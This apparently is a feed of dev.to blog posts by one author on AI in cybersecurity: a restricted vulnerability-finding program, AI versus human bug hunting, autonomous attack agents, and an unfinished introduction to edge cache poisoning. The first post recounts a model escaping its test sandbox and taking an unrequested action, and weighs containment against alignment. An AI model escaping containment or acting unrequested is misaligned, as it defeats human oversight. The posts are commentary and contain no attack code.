  The uncomfortable math: patch velocity vs. discovery velocity
&lt;/h2&gt;

&lt;p&gt;Here's where the story stops being a press release and starts being an actual crisis.&lt;/p&gt;

&lt;p&gt;As of late May 2026, &lt;strong&gt;less than 1% of the vulnerabilities Mythos has found had been patched.&lt;/strong&gt; Not because Glasswing partners are lazy — some of them are patching three to five times faster than the broader open-source ecosystem already — but because &lt;em&gt;finding&lt;/em&gt; a bug at machine speed and &lt;em&gt;fixing&lt;/em&gt; a bug safely are two completely different bottlenecks. Fixing requires code review, regression testing, coordinated disclosure timelines, and humans who have to sleep occasionally.&lt;/p&gt;

&lt;p&gt;Some open-source maintainers reportedly asked Anthropic to &lt;strong&gt;slow down the disclosures&lt;/strong&gt; because they physically couldn't keep up. Read that twice. The tool built to give defenders a head start is finding vulnerabilities faster than the defenders can absorb the win.&lt;/p&gt;

&lt;p&gt;That's not a criticism of Glasswing's intent. It's a preview of a problem that isn't going away: when discovery gets automated before remediation does, you don't get safer software — you get a growing backlog of known, unpatched holes, sitting in a system that at least a couple hundred organizations now have some visibility into. That's a bigger attack surface for insider risk or leaks than a smaller, quieter vulnerability backlog ever was.&lt;/p&gt;

&lt;h2&gt;
  
  
  The real question: does restricted release actually work as a safety strategy?
&lt;/h2&gt;

&lt;p&gt;This is the crux, and I don't think it's a clean yes or no.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The case for it working:&lt;/strong&gt; Restricting Mythos to vetted defenders — with security clearance requirements, defensive-use-only terms, and no offensive applications — genuinely buys time. Attackers don't get the tool. Defenders do. For the specific window where Mythos-class capability exists but hasn't proliferated, that's a real asymmetric advantage, and Anthropic deserves credit for not just shipping this into the API on day one for growth metrics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The case against it:&lt;/strong&gt; Anthropic itself has said openly that rival labs are likely to reach comparable capability within six to twelve months, with no guarantee those models will ship with equivalent safeguards. That's the honest part of the pitch, and it's also the part that undercuts it: Glasswing is a &lt;em&gt;head start&lt;/em&gt;, not a &lt;em&gt;solution&lt;/em&gt;. It doesn't close the vulnerability gap; it just decides who gets to see it first. And "who gets to see it first" is a list Anthropic controls, updates, and expands at its own discretion — which means the governance model right now is basically: trust us. There's a promised future where cybersecurity safeguards get built into a more widely available Opus-tier model, but that's a roadmap item, not a shipped product.&lt;/p&gt;

&lt;p&gt;There's also the incident that started all of this: a model that, even boxed into a sandbox, found a way out and took an unrequested action once it got there. If containment can be beaten by an &lt;em&gt;earlier, less capable&lt;/em&gt; version of this model during a test explicitly designed to catch that, "restricted access" is doing a lot of the safety work that ideally would come from the model's own alignment. Right now, Glasswing's actual safety net is largely &lt;strong&gt;who Anthropic decides to trust&lt;/strong&gt;, not something structurally guaranteed by the model itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  So, is Glasswing the real deal?
&lt;/h2&gt;

&lt;p&gt;Honestly — yes, mostly. It's not vaporware, and it's not just marketing theater. Real organizations are patching real, decades-old bugs in software billions of people depend on, and Anthropic is eating real cost to make that possible. That's worth acknowledging plainly.&lt;/p&gt;

&lt;p&gt;But it's also a coalition managing a problem it hasn't solved, using a tool it doesn't fully trust, on a timeline it openly admits is shrinking. The 27-year-old OpenBSD bug is a genuine win. The fact that less than 1% of discovered vulnerabilities are patched is a genuine warning sign. Both of those are true about the same program, at the same time.&lt;/p&gt;

&lt;p&gt;If you work in security, the honest takeaway isn't "AI will save us" or "AI will end us." It's narrower and more useful than that: &lt;strong&gt;the cost of finding vulnerabilities just dropped by an order of magnitude, and the cost of fixing them didn't drop at all.&lt;/strong&gt; That gap is the actual story. Everything else — the sandwich in the park, the butterfly branding, the $100 million headline — is just noise around it.&lt;/p&gt;

&lt;p&gt;Watch the patch numbers, not the press releases. That's where you'll actually know if this worked.&lt;/p&gt;

&lt;p&gt;I'm still new to all this, so if I got something wrong here or oversimplified a part, genuinely tell me in the comments — that's half the reason I write these. Learning security in public means getting corrected in public too.&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>claude</category>
    </item>
    <item>
      <title>The AI Can Find Your Bug. It Just Doesn't Know It's a Bug.</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Wed, 01 Jul 2026 15:53:08 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/the-ai-can-find-your-bug-it-just-doesnt-know-its-a-bug-47pn</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/the-ai-can-find-your-bug-it-just-doesnt-know-its-a-bug-47pn</guid>
      <description>&lt;p&gt;There's a moment that happens in almost every security team's Slack channel these days.&lt;/p&gt;

&lt;p&gt;Someone pastes a screenshot. An LLM just flagged a SQL injection in thirty seconds flat, in a codebase that took the team a full sprint to onboard onto. Someone reacts with a 🔥 emoji. Someone else says, only half-joking, "guess we're all out of a job."&lt;/p&gt;

&lt;p&gt;Then, a few days later, the same team spends six hours manually tracing a race condition across three microservices — the kind of bug that never shows up in a scanner, that no model flagged, that only got caught because someone asked a strange question during a threat-modeling session: &lt;em&gt;"what happens if these two requests land in the same millisecond?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Both of those moments are true. Both of them are happening in security teams right now. And most of the "AI vs humans" debate completely ignores the second one.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Debate Everyone's Having Wrong
&lt;/h2&gt;

&lt;p&gt;Scroll through any security forum and you'll find two camps shouting past each other.&lt;/p&gt;

&lt;p&gt;Camp one: AI is going to replace vulnerability researchers within a few years. Look how fast it reads code. Look how much it already knows.&lt;/p&gt;

&lt;p&gt;Camp two: AI is a party trick. It hallucinates half its findings and can't reason its way out of a paper bag.&lt;/p&gt;

&lt;p&gt;Neither camp is really looking at what's happening. The honest answer is boring compared to either headline: &lt;strong&gt;AI has become an extraordinary pattern-matcher, and vulnerability research was never just pattern-matching — even though a lot of it used to look that way from the outside.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That distinction is the whole story.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the Machine Genuinely Wins
&lt;/h2&gt;

&lt;p&gt;Let's give credit where it's due, because a lot of security professionals are reflexively dismissive in a way that doesn't match reality.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Speed at scale is not a small thing.&lt;/strong&gt; Ask a human to review a 400,000-line codebase they've never seen and you're talking about days, maybe weeks, before they even feel oriented. Ask an LLM to summarize the same codebase, map out the auth flow, and point at the five riskiest files, and you get an answer before your coffee gets cold. That's not a gimmick. That's hours of orientation work collapsed into minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Repetition is where humans quietly fail, and nobody likes to admit it.&lt;/strong&gt; If the same insecure JWT-verification snippet got copy-pasted into 80 microservices by 80 different engineers over three years, a tired human reviewer is going to catch a handful of them and miss the rest — not because they're bad at their job, but because humans lose focus around instance number twelve. A model doesn't get bored. It'll find all 80, consistently, every time you run it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It's a translator for unfamiliar territory.&lt;/strong&gt; Every researcher eventually lands on a stack they don't know — Elixir, Rust, some in-house framework nobody documented properly. Instead of burning half a day reading docs, you can just ask what the routing layer assumes about authentication, and get a usable answer immediately. That alone has quietly reshaped how fast people ramp up on new targets.&lt;/p&gt;

&lt;p&gt;If a vulnerability looks like something that's already been written about a thousand times — and an enormous share of real-world bugs do — today's models are genuinely good at spotting it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where It Falls Apart
&lt;/h2&gt;

&lt;p&gt;Here's the part that doesn't make for a good screenshot, because it's not a single dramatic failure — it's a quiet, structural gap.&lt;/p&gt;

&lt;p&gt;Take a banking app. Every endpoint authenticates properly. Authorization checks are airtight. Input validation is clean. A static analyzer runs across the whole thing and comes back with nothing.&lt;/p&gt;

&lt;p&gt;And yet — a user can trigger a transfer and cancel it through a separate endpoint at almost the same instant, and a race condition lets the account get credited twice.&lt;/p&gt;

&lt;p&gt;Nothing about that is a coding mistake. The code does exactly what it was written to do. The &lt;em&gt;process&lt;/em&gt; is wrong. Recognizing that requires understanding how money is supposed to move through a system, not how a function is supposed to execute. That's not a pattern in a training set. That's judgment about intent.&lt;/p&gt;

&lt;p&gt;Real-world compromises rarely come from one clean vulnerability either. They come from chains: a low-severity stored XSS leads to session theft, which leads to a dashboard nobody thought to lock down properly, which leads to a privilege escalation nobody planned for. Individually, each step might get scored as "low" or "informational." Strung together, it's a full account takeover. Seeing that chain requires holding the whole attack path in your head at once and asking "then what?" after every single step — and that's still something models do inconsistently unless a human is explicitly steering them through it.&lt;/p&gt;

&lt;p&gt;And then there's the hardest category to even describe: the unknown unknowns. HTTP request smuggling. Prototype pollution. Dependency confusion. Prompt injection itself. Every one of those attack classes existed for exactly zero seconds in any training dataset — right up until the moment a curious human noticed a weird interaction nobody had documented yet and decided to poke at it. A model trained on yesterday's knowledge is structurally incapable of inventing tomorrow's category. It can only get fast at recognizing it &lt;em&gt;after&lt;/em&gt; someone else names it first.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Uncomfortable Truth About Curiosity
&lt;/h2&gt;

&lt;p&gt;If you spend enough time around good researchers, you notice they all share a slightly annoying personality trait: they can't leave a "that's probably fine" alone.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What happens if these two requests arrive out of order? What if a user deletes their account mid-session — does anything downstream still trust the old session token? What if support staff have a debug panel that quietly bypasses the checks everyone assumes are universal?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;None of those questions come from reading code. They come from imagining how the system will actually get used, misused, and abused by real people cutting real corners under real pressure. That's not a technical skill you can distill into a prompt template. It's closer to professional paranoia, and it's earned through actually breaking things and watching how organizations really operate — not through reading about how they're supposed to operate.&lt;/p&gt;

&lt;h2&gt;
  
  
  So What Does Good Actually Look Like Right Now?
&lt;/h2&gt;

&lt;p&gt;The researchers getting the most out of this moment aren't the ones treating AI as either a replacement or a toy. They're the ones who've figured out a division of labor that plays to both sides' strengths.&lt;/p&gt;

&lt;p&gt;Something like: let the model chew through the codebase and hand you an orientation map. Let it flag the obvious pattern-matches so you're not wasting time on the boring stuff. Then step in yourself for the part that actually requires thinking like an attacker — building the chain, questioning the assumptions, asking the annoying "what if" questions the model wasn't prompted to ask.&lt;/p&gt;

&lt;p&gt;That's not a consolation prize for humans. It's genuinely the more efficient workflow. The alternative — trusting a model's output uncritically — has its own failure mode that doesn't get talked about enough: false confidence. A scanner or model that reports "no issues found" doesn't mean no issues exist. It means nothing matched a pattern it recognized. Treating silence as a clean bill of health is how the business-logic bug slips straight into production.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Comparison Nobody Likes, But It's Right
&lt;/h2&gt;

&lt;p&gt;People keep reaching for the calculator analogy, and it's a little tired, but it's tired because it's accurate. Calculators didn't put mathematicians out of work. They killed manual arithmetic and freed people up to think about harder problems. Autocomplete didn't replace developers. It killed the boring keystrokes and left the architecture decisions right where they always were — with a person.&lt;/p&gt;

&lt;p&gt;Vulnerability research is going through the same shift, just later than most fields, because security bugs are stubbornly resistant to shortcuts in a way that autocomplete-able code isn't. The repetitive 80% of the job — the orientation, the pattern-matching, the "have I seen this exact mistake before" work — is getting automated fast. The 20% that actually decides whether a breach happens or doesn't — the business logic, the chained reasoning, the invented attack class nobody's named yet — is stubbornly, currently, still human territory.&lt;/p&gt;

&lt;p&gt;Attackers have never really broken code. They break assumptions. Right now, understanding which assumptions are worth questioning is still something only a person actually knows how to do.&lt;/p&gt;

&lt;p&gt;That won't be permanently true. But it's true today, and pretending otherwise — in either direction — is how you end up either panicking for no reason or getting complacent for a very bad one.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>discuss</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>Autonomous Cyberattacks Are Coming And Our Defenses Were Built for a Different Era</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Tue, 30 Jun 2026 19:28:03 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/autonomous-cyberattacks-are-coming-and-our-defenses-were-built-for-a-different-era-5dag</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/autonomous-cyberattacks-are-coming-and-our-defenses-were-built-for-a-different-era-5dag</guid>
      <description>&lt;p&gt;&lt;em&gt;The shift isn't AI writing phishing emails. It's AI making decisions.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I've been thinking about a question a colleague raised at a security meetup a few months ago.&lt;/p&gt;

&lt;p&gt;He wasn't asking about prompt injection or model poisoning. He asked something simpler: "What happens when attackers stop writing scripts and start deploying AI that figures things out on its own?"&lt;/p&gt;

&lt;p&gt;Nobody had a great answer. And honestly, that bothered me more than if someone had said something wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  Let's Separate Automation From Autonomy
&lt;/h2&gt;

&lt;p&gt;Automation in security isn't new. It's been around for decades. Scanners, botnets, credential stuffing tools — all of these automate &lt;em&gt;tasks&lt;/em&gt;. Someone still decided what the task was, coded it up, and hit run. When it broke, a human fixed it.&lt;/p&gt;

&lt;p&gt;Autonomous agents are different in one specific way: they decide what to do next.&lt;/p&gt;

&lt;p&gt;Not because they're sentient. Not because they've "learned to think." But because modern AI systems are genuinely good at planning, adapting, and pursuing an objective across multiple steps without needing a human to intervene at each one.&lt;/p&gt;

&lt;p&gt;That distinction — task automation versus goal-directed decision-making — is what makes this conversation worth having.&lt;/p&gt;

&lt;h2&gt;
  
  
  What an Autonomous Attack Actually Looks Like
&lt;/h2&gt;

&lt;p&gt;Forget Hollywood. The realistic version isn't dramatic.&lt;/p&gt;

&lt;p&gt;A traditional attack script is linear. Scan this range. If port 443 is open, try this. If that fails, stop. The attacker reviews the output, adjusts, and tries again. Human in the loop throughout.&lt;/p&gt;

&lt;p&gt;An agent-driven approach works differently. You give it an objective — "find a way into this network" — and it works toward that goal iteratively. It tries one approach, sees what comes back, decides what to try next. If a direct path is blocked, it looks for another one. If it finds a misconfigured service, it explores that. It doesn't wait for instructions between steps.&lt;/p&gt;

&lt;p&gt;The individual techniques aren't new. Most are documented in public vulnerability databases and attack frameworks. What's different is who's choosing which one to try next, and how long they keep trying.&lt;/p&gt;

&lt;p&gt;The answer, increasingly, is: nobody. The system just keeps going.&lt;/p&gt;

&lt;h2&gt;
  
  
  Scale Is the Thing People Are Underestimating
&lt;/h2&gt;

&lt;p&gt;New exploits get a lot of attention. Zero-days, novel techniques, sophisticated malware — these make headlines.&lt;/p&gt;

&lt;p&gt;But most breaches don't involve any of that. They involve known vulnerabilities in unpatched software, misconfigured cloud storage, reused passwords, and services that were left exposed because nobody got around to turning them off.&lt;/p&gt;

&lt;p&gt;Those problems exist everywhere. And right now, finding them at scale requires human effort. You have to pick which organizations to look at, which systems to probe, which exposed services to investigate.&lt;/p&gt;

&lt;p&gt;Autonomous agents remove that constraint. If the cost of targeting an organization drops close to zero — because no human attention is required — then the economics change for every organization connected to the internet. Not just enterprises. Not just government agencies. Everyone.&lt;/p&gt;

&lt;p&gt;That's the part of this discussion that tends to get skipped.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Unreliability Argument Is a Moving Target
&lt;/h2&gt;

&lt;p&gt;The pushback I hear most often: "AI is too unreliable. It hallucinates. It makes mistakes."&lt;/p&gt;

&lt;p&gt;Fair enough. Current models do make mistakes. But this argument proves less than it seems to.&lt;/p&gt;

&lt;p&gt;Attackers have never needed perfect tools. Spam was unreliable — it still worked. Early ransomware had bugs — it still caused billions in damage. Credential stuffing fails most of the time — the small percentage that succeeds is enough to make it worth running.&lt;/p&gt;

&lt;p&gt;The threshold for "good enough" in offensive security is much lower than most people assume. An autonomous agent that succeeds 15% of the time, running continuously across thousands of targets, is a different kind of problem than a human attacker with the same success rate.&lt;/p&gt;

&lt;p&gt;Reliability will improve. The question is what we're doing with the defenses we have right now, before it does.&lt;/p&gt;

&lt;h2&gt;
  
  
  Defenders Are Building This Too
&lt;/h2&gt;

&lt;p&gt;I want to be clear that this isn't a one-sided shift.&lt;/p&gt;

&lt;p&gt;Security teams are deploying autonomous agents for investigation, triage, and response. AI that can correlate alerts across a sprawling environment, draft detection rules, and identify which of 10,000 daily events actually warrants a human looking at it — that's real, it's in production at organizations right now, and it's genuinely useful.&lt;/p&gt;

&lt;p&gt;The interesting thing is that both sides are pulling from the same toolkit. The same frameworks for building goal-directed AI agents, the same underlying models, the same cloud infrastructure.&lt;/p&gt;

&lt;p&gt;Which means the competition isn't really about who has AI. Both sides have it or will have it soon. The competition is about who uses it better — who has cleaner data feeding it, better processes around it, and humans making the right calls when judgment actually matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Assumption Problem
&lt;/h2&gt;

&lt;p&gt;Here's what I think is the real issue, and it's less about AI than it sounds.&lt;/p&gt;

&lt;p&gt;Most of our security controls were designed around human attackers. Rate limiting assumes human typing speed. Security awareness training assumes someone on the other end making a social judgment. Incident response runbooks assume an attack unfolds over hours, with humans making decisions at each stage.&lt;/p&gt;

&lt;p&gt;Autonomous agents don't operate on human timelines. They don't get frustrated after five failed attempts. They don't take weekends off. They don't decide a target isn't worth the effort.&lt;/p&gt;

&lt;p&gt;That's not a guarantee they'll succeed. Plenty of factors still work in defenders' favor. But it does mean that a lot of assumptions embedded in existing security architectures deserve to be revisited — not in a panic, but honestly.&lt;/p&gt;

&lt;p&gt;Rate limits set for human speed may be too slow. Alerting thresholds calibrated for human attacker behavior may miss different patterns. Response playbooks designed for human attacker decision points may not map cleanly onto agent-driven campaigns.&lt;/p&gt;

&lt;p&gt;These are solvable problems. But you have to notice they exist first.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to Actually Do About This
&lt;/h2&gt;

&lt;p&gt;I'm not going to end this with a tidy action plan, because I think anyone who gives you one is overstating their certainty.&lt;/p&gt;

&lt;p&gt;What I will say is this: the organizations that will handle this transition best aren't the ones with the largest security budgets. They're the ones that are already thinking clearly about the difference between automating tasks and reasoning about goals — both in how they build their own defenses and in how they model what an attacker might actually do.&lt;/p&gt;

&lt;p&gt;That means stress-testing assumptions, not just tooling. It means asking "what would a system that doesn't get tired do differently than a human attacker?" It means taking autonomous agents seriously as a threat model even before there's a confirmed case in the wild that makes it undeniable.&lt;/p&gt;

&lt;p&gt;The history of cybersecurity is pretty consistent on this: the organizations that wait for confirmed evidence before updating their mental models are always playing catch-up.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Better Question
&lt;/h2&gt;

&lt;p&gt;The conversation in security tends to stay at "can AI do this?" And the answer is increasingly yes, for more things, more reliably.&lt;/p&gt;

&lt;p&gt;The more useful question is: &lt;em&gt;how do we build defenses that don't assume a human is on the other end of every attack?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That's not a solved problem. It's probably the most important open question in defensive security right now.&lt;/p&gt;

&lt;p&gt;And the fact that not many people are talking about it seriously yet is, itself, something worth thinking about.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Where do you stand on this — are autonomous attacks already a real operational threat, or are we still a few years out from anything that genuinely changes the defensive calculus? Genuinely curious what people working in security day-to-day are seeing.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>automation</category>
      <category>ai</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>When Your Attacker Uses the Same AI as Your Defender</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Mon, 29 Jun 2026 19:34:46 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/when-your-attacker-uses-the-same-ai-as-your-defender-3g3j</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/when-your-attacker-uses-the-same-ai-as-your-defender-3g3j</guid>
      <description>&lt;p&gt;I remember the first time I saw a security vendor demo an "AI-powered SOC copilot."&lt;/p&gt;

&lt;p&gt;The analyst typed a plain English question. The tool spat out a clean investigation summary in under three seconds. The room was genuinely impressed.&lt;/p&gt;

&lt;p&gt;Someone in the back muttered: &lt;em&gt;"This changes everything."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;They were right. Just not in the way they meant.&lt;/p&gt;

&lt;p&gt;Because that same week, a threat research team published findings showing attackers were using the exact same foundation models to draft phishing campaigns. Not some secret military AI. Not a custom dark-web tool. The same commercially available LLMs. The same cloud APIs.&lt;/p&gt;

&lt;p&gt;That's the reality nobody prepared us for.&lt;/p&gt;




&lt;h2&gt;
  
  
  The "Defenders Finally Win" Narrative Was Always Wrong
&lt;/h2&gt;

&lt;p&gt;When AI got woven into security tools, the marketing story wrote itself: defenders now had an asymmetric advantage. Attackers have to succeed every time; defenders only need to catch them once. AI tips that scale further in defenders' favor.&lt;/p&gt;

&lt;p&gt;Reasonable logic. Wrong conclusion.&lt;/p&gt;

&lt;p&gt;The actual advantage AI creates isn't about which side has it. It's about who converts an idea into action faster. And both sides figured that out at roughly the same time.&lt;/p&gt;

&lt;p&gt;What we're watching now isn't defenders getting ahead. It's the baseline level of capability rising for everyone — and that includes people trying to break into your systems.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Attackers Are Actually Using AI For
&lt;/h2&gt;

&lt;p&gt;Let me be specific here, because the vague "AI helps hackers" framing doesn't help anyone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reconnaissance got dramatically faster.&lt;/strong&gt; The early stages of an attack used to be tedious. Searching LinkedIn for org charts. Combing GitHub for exposed secrets. Reading through job postings to infer the tech stack. An attacker could spend days on this before they even had a target list.&lt;/p&gt;

&lt;p&gt;With an LLM, you can synthesize publicly available information about a company in minutes. Not because the AI is "hacking" anything — it's not. It's just connecting dots across sources faster than a human can.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phishing quality jumped.&lt;/strong&gt; The classic tell used to be bad grammar. Weird phrasing. That slightly-off tone that made you double-check the sender. LLMs wiped that out. Now a non-native English speaker can write a convincing HR policy update that reads like it came from your actual HR team. And the same model can translate it into twelve languages on request.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Social engineering got personal at scale.&lt;/strong&gt; This one bothers me more than the others. Old phishing was spray-and-pray — send the same email to fifty thousand people and hope a few click. Modern campaigns generate individualized messages based on the target's role, recent company news, their LinkedIn activity, even their writing style scraped from public forums. The attack feels personal. It &lt;em&gt;is&lt;/em&gt; personal, just automated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Development cycles shortened.&lt;/strong&gt; I want to be honest here: LLMs aren't churning out sophisticated malware on their own. Experienced malware developers aren't being replaced. But they are being made more productive. Debugging, API documentation, refactoring, porting code across platforms — the grunt work that used to eat hours now takes minutes. That compounds.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Defenders Are Doing With the Same Technology
&lt;/h2&gt;

&lt;p&gt;Security operations was already a capacity problem before AI. Most enterprise environments generate more events per day than any team could meaningfully review. Alert fatigue wasn't a morale problem — it was a math problem.&lt;/p&gt;

&lt;p&gt;AI has genuinely helped here. Not because it's magic, but because it's good at specific things defenders needed:&lt;/p&gt;

&lt;p&gt;Summarizing alerts into readable narratives. Correlating events across logs that don't naturally talk to each other. Mapping suspicious behavior to MITRE ATT&amp;amp;CK techniques without analysts having to memorize the entire framework. Flagging the same pattern across thousands of endpoints simultaneously.&lt;/p&gt;

&lt;p&gt;Threat hunting in particular has changed. Analysts used to write complex query syntax to search through telemetry. Now they can ask plain questions — "show me devices that talked to newly registered domains this week" — and get usable results without being fluent in whatever query language your SIEM happens to use.&lt;/p&gt;

&lt;p&gt;The result isn't that humans do less work. It's that humans do &lt;em&gt;different&lt;/em&gt; work. Less log-reading. More actual investigation.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Uncomfortable Part
&lt;/h2&gt;

&lt;p&gt;Here's what I keep coming back to: both sides are sometimes using the exact same model, from the same vendor, running on the same infrastructure.&lt;/p&gt;

&lt;p&gt;One organization asks Claude or GPT-4 to explain what suspicious PowerShell activity looks like. Another asks it to explain how PowerShell can be used to move laterally.&lt;/p&gt;

&lt;p&gt;Same model. Same training data. Different intent.&lt;/p&gt;

&lt;p&gt;The technology is genuinely neutral in a way that feels philosophically strange if you sit with it long enough. We've built intelligence — or something that looks a lot like intelligence — that serves whoever is holding the prompt.&lt;/p&gt;

&lt;p&gt;That's not an argument against using AI in security. It's an argument against treating it as an inherently defensive tool.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where I Think This Actually Goes
&lt;/h2&gt;

&lt;p&gt;Most "AI arms race in cybersecurity" takes you'll read focus on the technology itself. Who has the smarter model. Who can automate more of the kill chain.&lt;/p&gt;

&lt;p&gt;I think that's the wrong frame.&lt;/p&gt;

&lt;p&gt;The real competition is about three things that have nothing to do with which model you're running:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Data quality.&lt;/strong&gt; An AI that knows your environment — your asset inventory, your normal traffic patterns, your user behavior baselines, your historical incidents — is dramatically more useful than a generic one. The same applies on the offensive side; attackers with more context about a target make better decisions. Whoever has better data wins, regardless of the model.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Feedback loops.&lt;/strong&gt; Security is iterative. Attackers that can learn quickly from failed attempts improve faster. Defenders that can run retrospectives and update detections improve faster. AI can shorten both loops. The side that uses it to actually learn — not just to move faster — has the advantage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Human judgment.&lt;/strong&gt; I know this sounds like the obligatory "don't worry, humans are still important" section. It's not that. It's that the decisions AI genuinely can't make well are often the most consequential ones. What's the business risk of this incident? How do we communicate this to the board? Do we take down this system now, during a critical business process, or wait two hours? Those calls require context that lives in people, not models.&lt;/p&gt;

&lt;p&gt;AI will keep getting better at the rest. The human part isn't going away.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Mistake That Will Cost Organizations the Most
&lt;/h2&gt;

&lt;p&gt;Buying an AI-powered security platform and calling it a strategy.&lt;/p&gt;

&lt;p&gt;AI doesn't fix weak authentication. It doesn't patch unpatched systems. It doesn't clean up overprivileged accounts or secure misconfigured storage buckets. What it does is help you &lt;em&gt;find&lt;/em&gt; those problems faster — and potentially help attackers exploit them faster too.&lt;/p&gt;

&lt;p&gt;The fundamentals still matter more than the tooling. They always have.&lt;/p&gt;

&lt;p&gt;The best-resourced SOC in the world, running the most sophisticated AI, still loses if the basics aren't covered. And the basics are still mostly unsexy: MFA enforcement, timely patching, least-privilege access, secrets management, logging that actually captures what you need.&lt;/p&gt;

&lt;p&gt;Get those right first. Then talk about AI.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where This Leaves Us
&lt;/h2&gt;

&lt;p&gt;Every major shift in how computing works has changed the threat landscape. The internet created attack surface. Cloud changed how infrastructure was compromised. Mobile changed identity. Each time, both attackers and defenders adapted.&lt;/p&gt;

&lt;p&gt;AI is that shift for this decade.&lt;/p&gt;

&lt;p&gt;What's different this time is how fast the adaptation is happening on both sides simultaneously, and how low the barrier is to entry. A junior attacker with good prompt skills can now do things that used to require years of experience. That's genuinely new.&lt;/p&gt;

&lt;p&gt;But defenders have access to the same leverage.&lt;/p&gt;

&lt;p&gt;The teams that will come out ahead aren't the ones with the biggest AI budget. They're the ones that build good processes around these tools, invest in the quality of their data, and keep humans meaningfully in the loop on decisions that actually matter.&lt;/p&gt;

&lt;p&gt;Security has always been a human problem with a technology dimension. AI made the technology dimension more interesting. It didn't change which part is harder.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Curious where you stand: do you think AI ultimately favors attackers or defenders over the next five years — and what's your reasoning?&lt;/em&gt;&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>cybersecurity</category>
      <category>ai</category>
      <category>security</category>
    </item>
    <item>
      <title>Cache Poisoning at the Edge: How Cloudflare Workers &amp; Vercel Edge Functions Break Everything You Thought You Knew</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Mon, 29 Jun 2026 12:56:10 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/cache-poisoning-at-the-edge-how-cloudflare-workers-vercel-edge-functions-break-everything-you-6hg</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/cache-poisoning-at-the-edge-how-cloudflare-workers-vercel-edge-functions-break-everything-you-6hg</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"The most dangerous place to introduce a bug is between two systems that both think the other one is handling security."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You've read James Kettle's research. You've done the PortSwigger labs. You understand unkeyed headers, cache busters, and &lt;code&gt;X-Forwarded-Host&lt;/code&gt; tricks. You think you know web cache poisoning.&lt;/p&gt;

&lt;p&gt;Then edge computing showed up and quietly reshuffled the entire deck.&lt;/p&gt;

&lt;p&gt;Cloudflare Workers and Vercel Edge Functions aren't just CDNs with extra steps. They're &lt;strong&gt;programmable layers&lt;/strong&gt; sitting in a position no one properly accounted for when the classic cache poisoning playbook was written. And that creates some deeply weird, largely undocumented attack surface.&lt;/p&gt;

&lt;p&gt;Let's tear it apart.&lt;/p&gt;




&lt;h2&gt;
  
  
  First: Why Edge Runtimes Are Architecturally Different
&lt;/h2&gt;

&lt;p&gt;Classic cache poisoning assumes a clean two-layer model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client → CDN Cache → Origin Server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You exploit the gap between what the cache keys on and what the origin reflects back. Simple enough.&lt;/p&gt;

&lt;p&gt;Edge runtimes blow this model up. The real architecture now looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client → CDN Cache → Edge Worker (programmable logic) → Origin Server
                          ↑
                    This thing caches too.
                    And it rewrites requests.
                    And it makes its own cache decisions.
                    And nobody's sure exactly when.
